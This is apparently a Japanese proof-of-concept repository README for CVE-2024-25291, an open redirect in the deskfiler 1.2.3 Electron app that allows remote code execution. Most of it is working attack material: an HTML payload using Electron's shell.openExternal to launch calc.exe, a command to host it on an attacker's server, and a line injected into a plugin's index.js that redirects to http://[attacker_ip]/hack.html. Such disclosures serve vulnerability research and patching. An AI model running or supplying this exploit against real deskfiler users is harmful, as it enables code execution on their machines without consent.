
deskfiler 1.2.3 オープンリダイレクトのエクスプロイト
CVE-2024-25291 脆弱性の概念実証(Proof-of-Concept)です。
deskfiler - 1.2.3 は、アプリケーション内の Electron webview を許可し、結果としてリモートコード実行が可能になります。
このリポジトリには、脆弱なアプリケーションの例と、その概念実証(POC)エクスプロイトが含まれています。
<html>
<head>
<title>jruru</title>
</head>
<body>
<script>
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
</script>
</body>
</html>
※ すぐにテストしたい場合は、攻撃者の PC に次のコードでサーバーを作成してください。
$ python -m http.server 80
注記: ※ ここでは、プラグインは攻撃者が作成したプラグインであり、攻撃者サーバーへアクセスさせるためのコードが追加された通常のプラグインであると想定しています。簡単なテストのため、BareBone を選択しました。

次に、BareBone フォルダ内の index.js ファイルに、次のコードを追加します。
window.location='http://[attacker_ip]/hack.html'


この PoC ではプラグインを利用しましたが、別の攻撃ベクトルを用いれば、単独でリモートコード実行(RCE)を達成することが可能であると考えています。さらに、Stored XSS や Reflected XSS などのサーバーサイドの脆弱性が存在する場合も、RCE は実行可能であると考えられます。